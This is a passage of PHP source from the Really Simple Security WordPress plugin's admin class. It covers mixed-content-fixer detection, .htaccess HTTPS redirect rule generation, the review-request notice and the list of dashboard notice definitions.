		}
		return $rules;
	}

	/**
	 * Check if the mixed content fixer is functioning on the front end, by scanning the source of the homepage for the fixer comment.
	 * @since 2.2
	 * @access public
	 * @return string
	 */

	public function mixed_content_fixer_detected() {

		//no need to check for the mixed content fixer if it's not enabled yet.
		if ( ! rsssl_get_option( 'mixed_content_fixer' ) ) {
			return 'not-enabled';
		}

		//it's enabled, so check if we can find it on the front-end.
		$status = 0;
		$result = get_transient( 'rsssl_mixed_content_fixer_detected' );
		if ( ! $result ) {
			$web_source = '';
			//check if the mixed content fixer is active
			$response = wp_remote_get( home_url() );
			if ( ! is_wp_error( $response ) ) {
				if ( is_array( $response ) ) {
					$status     = wp_remote_retrieve_response_code( $response );
					$web_source = wp_remote_retrieve_body( $response );
				}

				if ( 200 !== $status ) {
					//Could not connect to website
					$result = 'no-response';
				} elseif ( strpos( $web_source, 'data-rsssl=' ) === false ) {
					//Mixed content fixer marker not found in the websource
					$result = 'not-found';
				} else {
					$result = 'found';
				}
			}

			if ( is_wp_error( $response ) ) {
				//Fallback since most errors will be cURL errors, Error encountered while retrieving the webpage.
				$result = 'error';
				$error  = $response->get_error_message();
				set_transient( 'rsssl_curl_error', $error, DAY_IN_SECONDS );
				if ( ! empty( $error ) && ( strpos( $error, 'cURL error' ) !== false ) ) {
					$result = 'curl-error';
				}
			}
			set_transient( 'rsssl_mixed_content_fixer_detected', $result, 600 );
		}

		return 'found' === $result;
	}

	/**
	 * Create redirect rules for the .htaccess.
	 * @since  2.1
	 *
	 * @access public
	 *
	 * @param bool $manual
	 *
	 * @return string
	 */

	public function get_redirect_rules( $manual = false ) {
		//ensure the configuration check has run always.
		if ( ! $this->configuration_loaded ) {
			$this->detect_configuration();
		}
		//only add the redirect rules when a known type of SSL was detected. Otherwise, we use https.
		$rule = '';
		//if the htaccess test was successfull, and we know the redirect type, edit
		if (
				rsssl_get_option( 'ssl_enabled' ) &&
				'htaccess' === rsssl_get_option( 'redirect' ) &&
				( $manual || $this->htaccess_test_success() ) &&
				'NA' !== $this->ssl_type
		) {
			$rule .= "\n" . '<IfModule mod_rewrite.c>' . "\n";
			$rule .= 'RewriteEngine on' . "\n";
			if ( 'SERVER-HTTPS-ON' === $this->ssl_type ) {
				$rule .= 'RewriteCond %{HTTPS} !=on [NC]' . "\n";
			} elseif ( 'SERVER-HTTPS-1' === $this->ssl_type ) {
				$rule .= 'RewriteCond %{HTTPS} !=1' . "\n";
			} elseif ( 'LOADBALANCER' === $this->ssl_type ) {
				$rule .= 'RewriteCond %{HTTP:X-Forwarded-Proto} !https' . "\n";
			} elseif ( 'HTTP_X_PROTO' === $this->ssl_type ) {
				$rule .= 'RewriteCond %{HTTP:X-Proto} !SSL' . "\n";
			} elseif ( 'CLOUDFLARE' === $this->ssl_type ) {
				$rule .= "RewriteCond %{HTTP:CF-Visitor} '" . '"scheme":"http"' . "'" . "\n";//some concatenation to get the quotes right.
			} elseif ( 'SERVERPORT443' === $this->ssl_type ) {
				$rule .= 'RewriteCond %{SERVER_PORT} !443' . "\n";
			} elseif ( 'CLOUDFRONT' === $this->ssl_type ) {
				$rule .= 'RewriteCond %{HTTP:CloudFront-Forwarded-Proto} !https' . "\n";
			} elseif ( 'HTTP_X_FORWARDED_SSL_ON' === $this->ssl_type ) {
				$rule .= 'RewriteCond %{HTTP:X-Forwarded-SSL} !on' . "\n";
			} elseif ( 'HTTP_X_FORWARDED_SSL_1' === $this->ssl_type ) {
				$rule .= 'RewriteCond %{HTTP:X-Forwarded-SSL} !=1' . "\n";
			} elseif ( 'ENVHTTPS' === $this->ssl_type ) {
				$rule .= 'RewriteCond %{ENV:HTTPS} !=on' . "\n";
			}

			//fastest cache compatibility
			if ( class_exists( 'WpFastestCache' ) ) {
				$rule .= 'RewriteCond %{REQUEST_URI} !wp-content\/cache\/(all|wpfc-mobile-cache)' . "\n";
			}

			//Exclude .well-known/acme-challenge for Let's Encrypt validation
			if ( $this->has_acme_challenge_directory() ) {
				$rule .= 'RewriteCond %{REQUEST_URI} !^/\.well-known/acme-challenge/' . "\n";
			}

			$rule .= 'RewriteRule ^(.*)$ https://%{HTTP_HOST}/$1 [R=301,L]' . "\n";
			$rule .= '</IfModule>' . "\n";
		}

		$rule = apply_filters( 'rsssl_htaccess_output', $rule );
		return preg_replace( "/\n+/", "\n", $rule );
	}

	/**
	 *
	 * @return bool
	 * since 3.1
	 * Check if .well-known/acme-challenge directory exists
	 * @access public
	 */

	public function has_acme_challenge_directory() {
		if ( file_exists( "$this->abs_path.well-known/acme-challenge" ) ) {
			return true;
		}
		return false;
	}

	/**
	 *
	 * @return bool
	 * since 3.1
	 * Check if there are already .well-known rules in .htaccess file
	 * @access public
	 *
	 */

	public function has_well_known_needle() {
		$file = $this->htaccess_file();
		if ( ! file_exists( $file ) ) {
			return false;
		}
		$htaccess          = file_get_contents( $file );
		$well_known_needle = 'RewriteCond %{REQUEST_URI} !^/\.well-known/acme-challenge/';

		if ( strpos( $htaccess, $well_known_needle ) !== false ) {
			return true;
		}

		return false;
	}

	/**
	 * Shows a notice, asking users for a review.
	 */

	public function show_leave_review_notice() {
		if ( defined( 'rsssl_pro' ) ) {
			return;
		}

		if ( rsssl_get_option( 'dismiss_all_notices' ) ) {
			return;
		}
		//      update_option('rsssl_activation_timestamp', strtotime('-2 month'), false );
		//      rsssl_update_option('review_notice_shown', false);
		//prevent showing the review on edit screen, as gutenberg removes the class which makes it editable.
		$screen = get_current_screen();
		if ( $screen && 'post' === $screen->base ) {
			return;
		}

		//this user has never had the review notice yet.
		if ( rsssl_get_option( 'ssl_enabled' ) && ! get_option( 'rsssl_activation_timestamp' ) ) {
			$month               = rand( 0, 11 );
			$trigger_notice_date = time() + $month * MONTH_IN_SECONDS;
			update_option( 'rsssl_activation_timestamp', $trigger_notice_date, false );
			update_option( 'rsssl_before_review_notice_user', true, false );
		}

		if ( ! rsssl_get_option( 'review_notice_shown' ) && get_option( 'rsssl_activation_timestamp' ) && get_option( 'rsssl_activation_timestamp' ) < strtotime( '-1 month' ) ) {

			//checking legacy options, just in case.
			$options = get_option( 'rlrsssl_options' );
			if ( is_array( $options ) && isset( $options['review_notice_shown'] ) && $options['review_notice_shown'] ) {
				rsssl_update_option( 'review_notice_shown', true );
				return;
			}

			add_action( 'admin_print_footer_scripts', array( $this, 'insert_dismiss_review' ) );
			?>

			<style>
				.rsssl-review {
					border-left:4px solid #333
				}
				.rsssl-review .rsssl-container {
					display: flex;
					padding:12px;
				}
				.rsssl-review .rsssl-container .dashicons {
					margin-right:5px;
					margin-left:15px;
				}
				.rsssl-review .rsssl-review-image img{
					margin-top:0.5em;
				}
				.rsssl-review .rsssl-buttons-row {
					margin-top:10px;
					display: flex;
					align-items: center;
				}
			</style>
			<?php if ( is_rtl() ) { ?>
				<style>
					.rsssl-review .rsssl-container .dashicons {
						margin-left:5px;
						margin-right:15px;
					}
					.rsssl-review {
						border-right:4px solid #333
					}
				</style>
			<?php } ?>
			<div id="message" class="updated fade notice is-dismissible rsssl-review really-simple-plugins">
				<div class="rsssl-container">
					<div class="rsssl-review-image"><img width=80px" src="<?php echo rsssl_url; ?>/assets/img/icon.png" alt="review-logo"></div>
					<div style="margin-left:30px">
						<?php if ( get_option( 'rsssl_before_review_notice_user' ) ) { ?>
							<p>
							<?php
								// translators: %1$ and %2$ are replaced with opening and closing a tag containing hyperlink
								printf( __( 'Hi, Really Simple Security has kept your site secure for some time now, awesome! If you have a moment, please consider leaving a review on WordPress.org to spread the word. We greatly appreciate it! If you have any questions or feedback, leave us a %1$smessage%2$s.', 'really-simple-ssl' ), '<a href="https://really-simple-ssl.com/contact"  rel="noopener noreferrer"  target="_blank">', '</a>' );
							?>
								</p>
						<?php } else { ?>
							<p>
							<?php
								// translators: %1$ and %2$ are replaced with opening and closing a tag containing hyperlink
								printf( __( 'Hi, Really Simple Security has kept your site secure for a month now, awesome! If you have a moment, please consider leaving a review on WordPress.org to spread the word. We greatly appreciate it! If you have any questions or feedback, leave us a %1$smessage%2$s.', 'really-simple-ssl' ), '<a href="https://really-simple-ssl.com/contact"  rel="noopener noreferrer"  target="_blank">', '</a>' );
							?>
								</p>
						<?php } ?>

						<i>- Rogier</i>
						<div class="rsssl-buttons-row">
							<a class="button button-primary" target="_blank" rel="noopener noreferrer"
							   href="https://wordpress.org/support/plugin/really-simple-ssl/reviews/#new-post"><?php _e( 'Leave a review', 'really-simple-ssl' ); ?></a>
							<div class="dashicons dashicons-calendar"></div><a rel="noopener noreferrer" href="
							<?php
							echo esc_url( rsssl_admin_url(['rsssl_review_notice' => 'later']) );
							?>
																						"><?php _e( 'Maybe later', 'really-simple-ssl' ); ?></a>
							<div class="dashicons dashicons-no-alt"></div><a rel="noopener noreferrer" href="
							<?php echo esc_url(	rsssl_admin_url(['rsssl_review_notice' => 'dismiss']) ); ?>
																					"><?php _e( 'Don\'t show again', 'really-simple-ssl' ); ?></a>
						</div>
					</div>
				</div>
			</div>
			<?php
		}
	}

	/**
	 * Insert some ajax script to dismiss the review notice, and stop nagging about it
	 *
	 * @since  3.0
	 *
	 * @access public
	 */

	public function insert_dismiss_review() {

		?>
		<script>
			document.addEventListener('click', e => {
				if ( e.target.closest('.rsssl-review.notice.is-dismissible .notice-dismiss') ) {
					window.location.href='<?php echo esc_url_raw(rsssl_admin_url(['rsssl_review_notice' => 'dismiss']) );?>';
				}
			});
		</script>
		<?php
	}

	/**
	 * Dismiss review notice of dismissed by the user
	 */

	public function maybe_dismiss_review_notice() {
		if ( isset( $_GET['rsssl_review_notice'] ) && 'dismiss' === $_GET['rsssl_review_notice'] ) {
			rsssl_update_option( 'review_notice_shown', true );
		}
		if ( isset( $_GET['rsssl_review_notice'] ) && 'dismiss' === $_GET['rsssl_review_notice'] ) {
			//Reset activation timestamp, notice will show again in one month.
			update_option( 'rsssl_activation_timestamp', time(), false );
		}
	}

	/**
	 * Show notices
	 *
	 * @since  2.0
	 *
	 * @access public
	 *
	 */

	public function show_notices() {
		if ( ! rsssl_user_can_manage() ) {
			return;
		}
		require_once ABSPATH . 'wp-admin/includes/screen.php'; //temp fix for WordPress until it gets fixed in core

		//prevent showing the review on edit screen, as gutenberg removes the class which makes it editable.
		$screen = get_current_screen();
		if ( $screen && 'post' === $screen->base ) {
			return;
		}

		//don't show admin notices on our own settings page: we have the warnings there
		if ( $this->is_settings_page() ) {
			return;
		}
		$notices = $this->get_notices_list( array( 'admin_notices' => true ) );
		if ( is_array( $notices ) ) {
			foreach ( $notices as $id => $notice ) {
				$notice = $notice['output'];
				if ( isset( $notice['msg'] ) ) {
					//if there is an open status, we change error to warning.
					$class            = 'open' === $notice['status'] ? 'warning' : 'error';
					$more_info        = $notice['url'] ?? false;
					$logo             = $notice['logo'] ?? false;
					$dismiss_id       = isset( $notice['dismissible'] ) && $notice['dismissible'] ? $id : false;
					$dashboard_button = $notice['dashboard_button'] ?? false;
					echo $this->notice_html( $class . ' ' . $id, $notice['msg'], $more_info, $logo, $dismiss_id, $dashboard_button );
				}
			}
		}
	}

	/**
	 * Helper function to check if the wpconfig needs fixing
	 * Used in notices
	 *
	 * @return bool
	 */
	public function wpconfig_siteurl_not_fixed() {
		return $this->wpconfig_siteurl_not_fixed;
	}

	/**
	 * Helper function to check if the wpconfig needs fixing
	 * Used in notices
	 *
	 * @return bool
	 */
	public function no_server_variable() {
		return $this->no_server_variable;
	}

	/**
	 * Helper function to check if a site url has to be fixed
	 * Used in notices
	 *
	 * @return bool
	 */
	public function do_wpconfig_loadbalancer_fix() {
		return $this->do_wpconfig_loadbalancer_fix;
	}

	/**
	 * Clear the cached admin notices list
	 * @return void
	 */
	public function clear_admin_notices_cache() {
		delete_option( 'rsssl_admin_notices' );
		delete_option( 'rsssl_plusone_count' );
	}

	/**
	 * Get array of notices
	 * - condition: function returning boolean, if notice should be shown or not
	 * - callback: function, returning boolean or string, with multiple possible answers, and resulting messages and icons
	 * @param array $args
	 * @return array
	 */

	public function get_notices_list( $args = array() ) {
		if ( ! rsssl_user_can_manage() ) {
			return [];
		}
		$icon_labels = [
			'success' => __( 'Completed', 'really-simple-ssl' ),
			'warning' => __( 'Warning', 'really-simple-ssl' ),
			'open'    => __( 'Open', 'really-simple-ssl' ),
			'premium' => __( 'Upgrade', 'really-simple-ssl' ),
		];

		$defaults = array(
			'admin_notices'      => false,
			'premium_only'       => false,
			'dismiss_on_upgrade' => false,
			'status'             => [ 'open', 'warning' ], //status can be "all" (all tasks, regardless of dismissed or open), "open" (not success/completed) or "completed"
		);
		$args     = wp_parse_args( $args, $defaults );

		//ensure the status is an an array
		$args['status'] = is_array( $args['status'] ) ? $args['status'] : [ 'open', 'warning' ];

		//if we're on the settings page, we need to clear the admin notices transient, because this list won't get refreshed otherwise
		if ( $this->is_settings_page() && ! get_option( 'rsssl_6_notice_dismissed' ) ) {
			update_option( 'rsssl_6_notice_dismissed', true, false );
		}

		if ( ! $this->is_settings_page() ) {
			$cached_notices = get_option( 'rsssl_admin_notices' );
			if ( 'empty' === $cached_notices ) {
				return [];
			}
			if ( false !== $cached_notices ) {
				return $cached_notices;
			}
		}
		//not cached, set a default here
		//only cache if the admin_notices are retrieved.
		if ( $args['admin_notices'] ) {
			update_option( 'rsssl_admin_notices', 'empty' );
		}

		$rules = $this->get_redirect_rules( true );
		if ( 'NA' !== $this->ssl_type ) {
			$arr_search  = array( '<', '>', "\n" );
			$arr_replace = array( '&lt', '&gt', '<br>' );
			$rules       = str_replace( $arr_search, $arr_replace, $rules );
			$rules       = substr( $rules, 4, -4 );
		} else {
			$rules = __( 'No recommended redirect rules detected.', 'really-simple-ssl' );
		}
		$rules = '<br><code>' . $rules . '</code><br>';

		$notice_defaults = array(
			'condition' => array(),
			'callback'  => false,
		);

		$curl_error            = get_transient( 'rsssl_curl_error' );
		$current_plugin_folder = $this->get_current_rsssl_dirname();

		//get expiry date, if we have one.
		$certinfo    = get_transient( 'rsssl_certinfo' );
		$end_date    = $certinfo['validTo_time_t'] ?? false;
		$expiry_date = ! empty( $end_date ) ? gmdate( get_option( 'date_format' ), $end_date ) : __( '(unknown)', 'really-simple-ssl' );

		$notices = array(
			'load_balancer_fix'                    => array(
				'condition' => [ 'NOT rsssl_ssl_enabled' ],
				'callback'  => 'RSSSL()->admin->do_wpconfig_loadbalancer_fix',
				'score'     => 30,
				'output'    => array(
					'true' => array(
						'msg'          => __( 'Your wp-config.php has to be edited, but is not writable.', 'really-simple-ssl' ) . ' ' .
								__( 'Set your wp-config.php to writable and reload this page.', 'really-simple-ssl' ) . ' ' .
								__( 'To safely enable SSL on your server configuration, you should add the following line of code to your wp-config.php.', 'really-simple-ssl' ) .
								'<br><code>
                                //Begin Really Simple Security Server variable fix<br>
                                &nbsp;&nbsp; $_SERVER["HTTPS"] = "on";<br>
                                //END Really Simple Security
                            </code><br>',
						'icon'         => 'warning',
						'admin_notice' => true,
						'plusone'      => true,
						'dismissible'  => false,
						'url'          => 'knowledge-base/htaccess-wp-config-files-not-writable/',
					),
				),
			),
			'site_url_in_wpconfig'                 => array(
				'condition' => [ 'NOT rsssl_ssl_enabled', 'NOT RSSSL()->admin->uses_bitnami' ],
				'callback'  => 'RSSSL()->admin->wpconfig_siteurl_not_fixed',
				'score'     => 30,
				'output'    => array(
					'true' => array(
						'msg'          => __( 'A definition of a site url or home url was detected in your wp-config.php, but the file is not writable.', 'really-simple-ssl' ) . ' ' . __( 'Set your wp-config.php to writable and reload this page.', 'really-simple-ssl' ),
						'icon'         => 'warning',
						'admin_notice' => true,
						'plusone'      => true,
						'dismissible'  => true,
						'url'          => 'knowledge-base/htaccess-wp-config-files-not-writable',
					),
				),
			),

			'deactivation_file_detected'           => array(
				'callback' => 'RSSSL()->admin->check_for_uninstall_file',
				'score'    => 30,
				'output'   => array(
					'true' => array(
						'msg'          => __( "The 'force-deactivate.php' file has to be renamed to .txt. Otherwise your ssl can be deactivated by anyone on the internet.", 'really-simple-ssl' ) . ' ' .
								'<a href="' . rsssl_admin_url(). '">' . __( 'Check again', 'really-simple-ssl' ) . '</a>',
						'icon'         => 'warning',
						'admin_notice' => true,
						'plusone'      => true,
						'dismissible'  => false,
					),
				),
			),
			'mixed_content_scan'                   => array(
				'dismiss_on_upgrade' => true,
				'condition'          => array( 'rsssl_ssl_enabled' ),
				'callback'           => '_true_',
				'score'              => 5,
				'output'             => array(
					'true' => array(
						'url'         => 'steps-after-activating-ssl',
						'msg'         => __( 'SSL is now activated. Follow the three steps in this article to check if your website is secure.', 'really-simple-ssl' ),
						'icon'        => 'open',
						'dismissible' => true,
						'plusone'     => true,
					),
				),
			),
			'ssl_enabled'                          => array(
				'callback' => 'rsssl_ssl_enabled',
				'score'    => 30,
				'output'   => array(
					'true'  => array(
						'msg'  => __( 'SSL is enabled on your site.', 'really-simple-ssl' ),
						'icon' => 'success',
					),
					'false' => array(
						'msg'     => __( 'SSL is not enabled yet.', 'really-simple-ssl' ),
						'title'   => 'SSL',
						'icon'    => 'warning',
						'plusone' => true,
					),
				),
				'menu_id'  => 'encryption',
				'field_id' => 'redirect',
			),

			'ssl_detected'                         => array(
				'condition' => array( 'NOT rsssl_ssl_detection_overridden', 'NOT RSSSL()->admin->uses_bitnami' ),
				'callback'  => 'rsssl_ssl_detected',
				'score'     => 30,
				'output'    => array(
					'fail'            => array(
						'url'  => 'wp-config-fix-needed',
						'msg'  => __( 'The wp-config.php file is not writable, and needs to be edited. Please set this file to writable.', 'really-simple-ssl' ),
						'icon' => 'warning',
					),
					'no-ssl-detected' => array(
						'title'       => __( 'No SSL detected', 'really-simple-ssl' ),
						'msg'         => __( 'No SSL detected. Use the retry button to check again.', 'really-simple-ssl' ) .
								'<form class="rsssl-task-form"  action="" method="POST"><a href="' .
									rsssl_admin_url(['letsencrypt' => '1'], '#letsencrypt')
								 . '" type="submit" class="button button-default  rsssl-button-small">' . __( 'Install SSL certificate', 'really-simple-ssl' ) . '</a>' .
								'<input type="submit" class="button button-default rsssl-button-small" value="' . __( 'Retry', 'really-simple-ssl' ) . '" id="rsssl_recheck_certificate" name="rsssl_recheck_certificate"></form>',
						'icon'        => 'warning',
						'dismissible' => rsssl_get_option( 'ssl_enabled' ),
					),
					'no-response'     => array(
						'title'       => __( 'Could not test certificate', 'really-simple-ssl' ),
						'msg'         => __( 'Automatic certificate detection is not possible on your server.', 'really-simple-ssl' ) . '<br>' .
								'<a href="' .
									rsssl_admin_url(['letsencrypt' => 1], '#letsencrypt')
								 . '" type="submit" class="button button-default  rsssl-button-small">' . __( 'Install SSL certificate', 'really-simple-ssl' ) . '</a>' .
								'<button class="button button-default rsssl-button-small" id="ssl-labs-check-button">' . __( 'Check manually', 'really-simple-ssl' ) . '</button>',
						'icon'        => 'warning',
						'dismissible' => true,
					),
					'about-to-expire' => array(
						'title' => __( 'Your SSL certificate will expire soon.', 'really-simple-ssl' ),
						'msg'   =>
							// translators: %s is replaced with date.
							sprintf( __( 'SSL certificate will expire on %s.', 'really-simple-ssl' ), $expiry_date ) . '&nbsp;' . __( 'If your hosting provider auto-renews your certificate, no action is required. Alternatively, you have the option to generate an SSL certificate with Really Simple Security.', 'really-simple-ssl' ) . '&nbsp;' .
							// translators: %1$ and %2$s are replaced with the opening and closing tag with link.
							sprintf( __( 'Depending on your hosting provider, %1$smanual installation%2$s may be required.', 'really-simple-ssl' ), '<a target="_blank" rel="noopener noreferrer" href="https://really-simple-ssl.com/install-ssl-certificate">', '</a>' ) .

								'<br><br><form action="" method="POST"><a href="' .
									rsssl_admin_url(['letsencrypt' => 1], '#letsencrypt')
								 . '" type="submit" class="button button-default">' . __( 'Install SSL certificate', 'really-simple-ssl' ) . '</a>' .
								'&nbsp;<input type="submit" class="button button-default" value="' . __( 'Re-check', 'really-simple-ssl' ) . '" id="rsssl_recheck_certificate" name="rsssl_recheck_certificate"></form>',
						'icon'  => 'warning',
					),
				),
			),

			'mixed_content_fixer_detected'         => array(
				'condition' => array( 'rsssl_ssl_enabled' ),
				'callback'  => 'RSSSL()->admin->mixed_content_fixer_detected',
				'score'     => 10,
				'output'    => array(
					'no-response' => array(
						'url'         => 'knowledge-base/how-to-fix-no-response-from-webpage-warning/',
						'msg'         => __( 'Really Simple Security has received no response from the webpage.', 'really-simple-ssl' ),
						'icon'        => 'open',
						'dismissible' => true,
						'plusone'     => true,
					),
					'not-found'   => array(
						'url'         => 'knowledge-base/how-to-check-if-the-mixed-content-fixer-is-active',
						'msg'         => __( 'The mixed content fixer is active, but was not detected on the frontpage.', 'really-simple-ssl' ),
						'icon'        => 'open',
						'dismissible' => true,
					),
					'error'       => array(
						'msg'         => __( 'Error occurred when retrieving the webpage.', 'really-simple-ssl' ),
						'icon'        => 'open',
						'dismissible' => true,
					),
					'not-enabled' => array(
						'highlight_field_id' => 'mixed_content_fixer',
						'msg'                => __( 'Mixed content fixer not enabled. Enable the option to fix mixed content on your site.', 'really-simple-ssl' ),
						'icon'               => 'open',
						'dismissible'        => true,
					),
					'curl-error'  => array(
						'url'         => 'knowledge-base/curl-errors',
						'msg'         => // translators: %s is replaced with the error description.
										sprintf( __( "The mixed content fixer could not be detected due to a cURL error: %s. cURL errors are often caused by an outdated version of PHP or cURL and don't affect the front-end of your site. Contact your hosting provider for a fix.", 'really-simple-ssl' ), '<b>' . $curl_error . '</b>' ),
						'icon'        => 'open',
						'dismissible' => true,
					),
				),
			),

			'wordpress_redirect'                   => array(
				'condition' => array( 'rsssl_ssl_enabled', 'NOT RSSSL()->admin->htaccess_redirect_allowed' ),
				'callback'  => 'RSSSL()->admin->has_301_redirect',
				'score'     => 10,
				'output'    => array(
					'true'  => array(
						'msg'  => __( '301 redirect to https set.', 'really-simple-ssl' ),
						'icon' => 'success',
					),
					'false' => array(
						'msg'  => __( 'No 301 redirect is set. Enable the WordPress 301 redirect in the settings to get a 301 permanent redirect.', 'really-simple-ssl' ),
						'icon' => 'open',
					),
				),
			),

			'check_redirect'                       => array(
				'condition'         => array( 'rsssl_ssl_enabled', 'RSSSL()->admin->htaccess_redirect_allowed' ),
				'callback'          => 'RSSSL()->admin->redirect_status',
				'score'             => 10,
				'show_with_options' => [
					'redirect',
				],
				'output'            => array(
					'htaccess-redirect-set'      => array(
						'title' => __( '301 .htaccess redirect', 'really-simple-ssl' ),
						'msg'   => __( 'The 301 redirect with .htaccess to HTTPS is now enabled.', 'really-simple-ssl' ),
						'icon'  => 'success',
					),
					'wp-redirect-to-htaccess'    => array(
						'highlight_field_id' => 'redirect',
						'title'              => __( '301 .htaccess redirect', 'really-simple-ssl' ),
						'msg'                => __( 'WordPress 301 redirect enabled. We recommend to enable a 301 .htaccess redirect.', 'really-simple-ssl' ),
						'icon'               => 'open',
						'plusone'            => RSSSL()->server->uses_htaccess(),
						'dismissible'        => true,
					),
					'no-redirect-set'            => array(
						'highlight_field_id' => 'redirect',
						'msg'                => __( 'Enable a .htaccess redirect or PHP redirect in the settings to create a 301 redirect.', 'really-simple-ssl' ),
						'icon'               => 'open',
						'dismissible'        => false,
					),
					'htaccess-rules-test-failed' => array(
						'title'       => __( '.htaccess redirect.', 'really-simple-ssl' ),
						'url'         => 'knowledge-base/manually-insert-htaccess-redirect-http-to-https',
						'msg'         => __( 'The .htaccess redirect rules selected by this plugin failed in the test. Set manually or dismiss to leave on PHP redirect.', 'really-simple-ssl' ) . $rules,
						'icon'        => 'warning',
						'dismissible' => true,
						'plusone'     => true,
					),
				),
			),

			'elementor'                            => array(
				'condition' => array( 'rsssl_ssl_activation_time_no_longer_then_3_days_ago' ),
				'callback'  => 'rsssl_uses_elementor',
				'score'     => 5,
				'output'    => array(
					'true' => array(
						'url'         => 'knowledge-base/how-to-fix-mixed-content-in-elementor-after-moving-to-ssl',
						'msg'         => __( 'Your site uses Elementor. This can require some additional steps before getting the secure lock.', 'really-simple-ssl' ),
						'icon'        => 'open',
						'dismissible' => true,
					),
				),
			),

			'divi'                                 => array(
				'condition' => array( 'rsssl_ssl_activation_time_no_longer_then_3_days_ago' ),
				'callback'  => 'rsssl_uses_divi',
				'score'     => 5,
				'output'    => array(
					'true' => array(
						'url'         => 'knowledge-base/mixed-content-when-using-divi-theme/',
						'msg'         => __( 'Your site uses Divi. This can require some additional steps before getting the secure lock.', 'really-simple-ssl' ),
						'icon'        => 'open',
						'dismissible' => true,
					),
				),
			),
			'recommended_security_headers_not_set' => array(
				'callback' => 'RSSSL()->admin->recommended_headers_enabled',
				'score'    => 5,
				'output'   => array(
					'false' => array(
						'msg'         => __( 'See which recommended security headers are not present on your website.', 'really-simple-ssl' ),
						'icon'        => 'premium',
						'dismissible' => false,
						'url' => add_query_arg(
							array( 'domain' => site_url() ),
							'https://scan.really-simple-ssl.com'
						),
					),
					'true'  => array(
						'msg'  => __( 'Recommended security headers enabled.', 'really-simple-ssl' ),
						'icon' => 'success',
					),
				),
			),
			'enable_two_fa' => array(
				'callback' => 'option_login_protection_enabled',
				'score'    => 5,
				'output'   => array(
					'false' => array(
						'highlight_field_id' => 'login_protection_enabled',
						'msg'                => __( 'Implement Two-Factor Authentication or Passkey login.', 'really-simple-ssl' ),
						'icon'               => 'premium',
                        'url'                => 'login-protection',
					),
				),
			),
			'enable_lla' => array(
                'callback' => 'option_enable_limited_login_attempts',
                'score'    => 5,
                'output'   => array(
                    'false' => array(
                        'highlight_field_id' => 'enable_limited_login_attempts',
                        'msg'                => __( 'Protect your login form with Limit Login Attempts.', 'really-simple-ssl' ),
                        'icon'               => 'premium',
                        'url'                => 'login-protection',
				    ),
			    ),
		    ),
			'enable_firewall' => array(
                'callback' => 'option_enable_firewall',
                'score'    => 5,
                'output'   => array(
                    'false' => array(
                        'highlight_field_id' => 'enable_firewall',
                        'msg'                => __( 'Protect your site with a performant Firewall.', 'really-simple-ssl' ),
                        'icon'               => 'premium',
                        'url'                => 'firewall',
                    ),
                ),
			),
			'duplicate-ssl-plugins'                => array(
				'condition' => array( 'rsssl_detected_duplicate_ssl_plugin' ),
				'callback'  => '_true_',
				'output'    => array(
					'true' => array(
						'msg'         => // translators: %s is replaced with the plugin name.
										sprintf( __( 'We have detected the %s plugin on your website.', 'really-simple-ssl' ), rsssl_detected_duplicate_ssl_plugin( true ) ) . '&nbsp;' . __( 'As Really Simple Security handles all the functionality this plugin provides, we recommend to disable this plugin to prevent unexpected behavior.', 'really-simple-ssl' ),
						'icon'        => 'warning',
						'dismissible' => true,
						'plusone'     => true,
					),
				),
			),
			'bf_notice2023'                        => array(
				'condition' => array(
					'RSSSL()->admin->is_bf',
				),
				'callback'  => '_true_',
				'output'    => array(
					'true' => array(
						'msg'         => __( 'Black Friday sale! Get 40% Off Really Simple Security Pro', 'really-simple-ssl' ),
						'icon'        => 'premium',
						'url'         => 'pro',
						'dismissible' => true,
						'plusone'     => true,
					),
				),
			),
			'ajax_fallback' => array(
	            'condition'  => array(
                        'wp_option_rsssl_ajax_fallback_active',
                ),
	            'callback' => '_true_',
	            'output' => array(
		            'true' => array(
			            'msg' => __( "Please check if your REST API is loading correctly. Your site currently is using the slower Ajax fallback method to load the settings.", 'really-simple-ssl' ),
			            'icon' => 'warning',
			            'admin_notice' => false,
			            'url' => 'instructions/how-to-debug-a-blank-settings-page-in-really-simple-ssl',
			            'dismissible' => true,
			            'plusone' => true,
		            ),
	            ),
            ),
	        'email_verification_not_verified' => array(
		        'callback' => 'RSSSL()->mailer_admin->email_verification_completed',
		        'output' => array(
			        'false' => array(
				        'highlight_field_id' => 'notifications_email_address',
				        'msg' => __( "Complete email validation and enable notifications to make sure you will receive security warnings.", 'really-simple-ssl' ),
				        'icon' => 'open',
				        'admin_notice' => false,
				        'url' => 'instructions/email-verification',
				        'dismissible' => true,
				        'plusone' => true,
			        ),
			        'true' => array(
				        'msg' => __( "Email address successfully verified.", 'really-simple-ssl' ),
				        'icon' => 'success',
				        'admin_notice' => false,
				        'url' => 'instructions/email-verification',
				        'dismissible' => true,
				        'plusone' => false,
			        ),
		        ),
	        ),
			'plain_permalinks' => array(
				'condition'  => array(
					'rsssl_plain_permalinks_enabled',
				),
				'callback' => '_true_',
				'output' => array(
					'true' => array(
						'msg' => __( "Your site uses plain permalinks, which causes issues with the REST API. Please use a different permalinks configuration.", 'really-simple-ssl' ),
						'icon' => 'open',
						'admin_notice' => false,
						'dismissible' => true,
						'plusone' => false,
						'url' => admin_url('options-permalink.php'),
					),
				),
			),
            'upgraded_to_nine' => array(
                'condition' => array(
                    'rsssl_show_upgrade_to_nine_notice',
                ),
                'callback' => '_true_',
                'output' => array(
                    'true' => array(
	                    'msg'              => rsssl_upgrade_to_nine_notice(),
	                    'icon'             => 'open',
	                    'admin_notice'     => true,
	                    'logo'             => true,
	                    'dashboard_button' => true,
	                    'dismissible'      => true,
	                    'plusone'          => true,
                    ),
                ),
            ),
        );

		//on multisite, don't show the notice on subsites.
		$notices = apply_filters( 'rsssl_notices', $notices );
		foreach ( $notices as $id => $notice ) {
			$notices[ $id ] = wp_parse_args( $notice, $notice_defaults );
		}

		/**
		 * If a list of notices that should be dismissed on upgrade is requested
		 */
		if ( $args['dismiss_on_upgrade'] ) {
			$output = array();
			foreach ( $notices as $key => $notice ) {
				if ( isset( $notice['dismiss_on_upgrade'] ) && $notice['dismiss_on_upgrade'] ) {
					$output[] = $key;
				}
			}
			return $output;
		}

		/**
		 * Filter out notice that do not apply, or are dismissed
		 */
		$statuses = $args['status'];
		foreach ( $notices as $id => $notice ) {
			$func   = $notice['callback'];
			$output = $this->validate_function( $func );

			//check if all notices should be dismissed
			if ( isset( $notice['output'][ $output ]['dismissible'] )
				&& $notice['output'][ $output ]['dismissible']
				&& rsssl_get_option( 'dismiss_all_notices' )
			) {
				unset( $notices[ $id ] );
				continue;
			}

